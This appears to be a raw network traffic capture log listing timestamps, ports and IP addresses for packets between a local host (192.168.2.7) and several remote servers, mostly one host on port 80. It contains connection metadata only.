Nov 21, 2024 22:04:56.544532061 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.545278072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.545325041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.545819044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.545872927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.546212912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.546221972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.546263933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.546292067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.547072887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.547122002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.547126055 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.547207117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.547955990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.547966957 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.548016071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.548839092 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.548957109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.549009085 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.549694061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.549741030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.549959898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.549999952 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.550688028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.550721884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.550724983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.550757885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.551479101 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.551520109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.551563025 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.551632881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.552366018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.552424908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.552474022 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.553236008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.553292990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.553311110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.553349018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.554214001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.554222107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.554260015 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.554274082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.555114985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.555125952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.555157900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.555177927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.556004047 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.556015015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.556055069 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.556754112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.556881905 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.556955099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.557001114 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.557724953 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.557735920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.557782888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.558571100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.558582067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.558610916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.558626890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.559473038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.559521914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.559634924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.559678078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.560328960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.560447931 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.560750961 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.560806990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.561208963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.561253071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.561618090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.561662912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.562381029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.562391996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.562432051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.563000917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.563075066 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.563077927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.563108921 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.563855886 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.563899040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.564008951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.564053059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.564420938 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564443111 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564449072 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564491034 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564502954 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564507008 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564519882 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.564531088 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.564553976 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.564574003 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.564743042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.564908028 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.565078974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.565125942 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.565709114 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.565762043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.565783024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.565818071 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.566509962 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.566566944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.567348957 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.567394018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.567447901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.567486048 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.567650080 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.567701101 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.568284988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.568476915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.568787098 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.568886995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.569154978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.569196939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.569494963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.569536924 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.570034981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.570123911 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.570945978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.570955992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.570966005 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.570993900 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.571028948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.571916103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.571959019 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.572093010 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.572232962 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.572777033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.572787046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.572818041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.572841883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.573632002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.573677063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.574398041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.574449062 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.574491024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.574506044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.574552059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.575416088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.575459003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.575701952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.575742960 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.576248884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.576294899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.576400995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.576446056 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.577218056 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.577263117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.577280045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.577317953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.578031063 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.578075886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.578583002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.578627110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.578906059 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.578916073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.578950882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.579796076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.579806089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.579838037 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.580638885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.580739021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.580743074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.580771923 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.581505060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.581569910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.582437038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.582447052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.582474947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.582487106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.582515001 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.583358049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.583380938 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.583404064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.583422899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.584173918 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.584220886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.584300995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.584331036 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.585047960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.585093021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.585777044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.585815907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.585974932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.585985899 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.586018085 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.586035967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.586774111 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.586833954 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.603565931 CET	49895	443	192.168.2.7	23.44.203.20
Nov 21, 2024 22:04:56.603585005 CET	443	49895	23.44.203.20	192.168.2.7
Nov 21, 2024 22:04:56.603751898 CET	49895	443	192.168.2.7	23.44.203.20
Nov 21, 2024 22:04:56.603979111 CET	49895	443	192.168.2.7	23.44.203.20
Nov 21, 2024 22:04:56.603984118 CET	443	49895	23.44.203.20	192.168.2.7
Nov 21, 2024 22:04:56.732317924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.732378960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.732388020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.732417107 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.732717991 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.732769966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.732927084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.732973099 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.733227968 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.733270884 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.734339952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.734354019 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.734402895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.734694004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.734704971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.734740973 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.735603094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.735660076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.736330032 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.736372948 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.736450911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.736491919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.736526966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.736567020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.737314939 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.737356901 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.737632990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.737682104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.738269091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.738321066 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.738461971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.738569021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.739136934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.739151955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.739188910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.740036964 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.740066051 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.740092993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.740117073 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.740894079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.740959883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.741473913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.741523027 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.741806030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.741817951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.741862059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.742681026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.742731094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.743069887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.743141890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.743516922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.743557930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.743645906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.743690014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.744390965 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.744441986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.744477987 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.744523048 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.745282888 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.745448112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.745520115 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.746165037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.746211052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.746340990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.746385098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.747056007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.747172117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.747237921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.747301102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.749294043 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.749311924 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.749380112 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.749398947 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.749497890 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.767435074 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.767457008 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.767472029 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.767534018 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.767565012 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.767582893 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.767616987 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.790076017 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790095091 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790103912 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790133953 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790141106 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790152073 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790173054 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.790196896 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.790213108 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.790245056 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.794575930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:56.799817085 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.799837112 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.799913883 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.799921989 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.799964905 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.824533939 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:56.825103045 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:56.825129986 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:56.825596094 CET	49886	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:56.825604916 CET	443	49886	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:56.915733099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:56.930093050 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.930120945 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.930202961 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.930224895 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.930243969 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.930269003 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.941186905 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.941270113 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.941286087 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.941332102 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.941380978 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.941710949 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.941725969 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.959430933 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.959462881 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.959522009 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.959546089 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.959578991 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.959604025 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.968755960 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.968770027 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.968831062 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.968856096 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:56.968910933 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:56.999336958 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.999357939 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.999413013 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.999444962 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:56.999459028 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:56.999490976 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.021718979 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.021743059 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.021845102 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.021873951 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:57.021940947 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:57.130429983 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.130459070 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.130511045 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.130532980 CET	443	49885	4.153.29.52	192.168.2.7
Nov 21, 2024 22:04:57.130569935 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.130589962 CET	49885	443	192.168.2.7	4.153.29.52
Nov 21, 2024 22:04:57.138906002 CET	443	49880	13.107.246.40	192.168.2.7
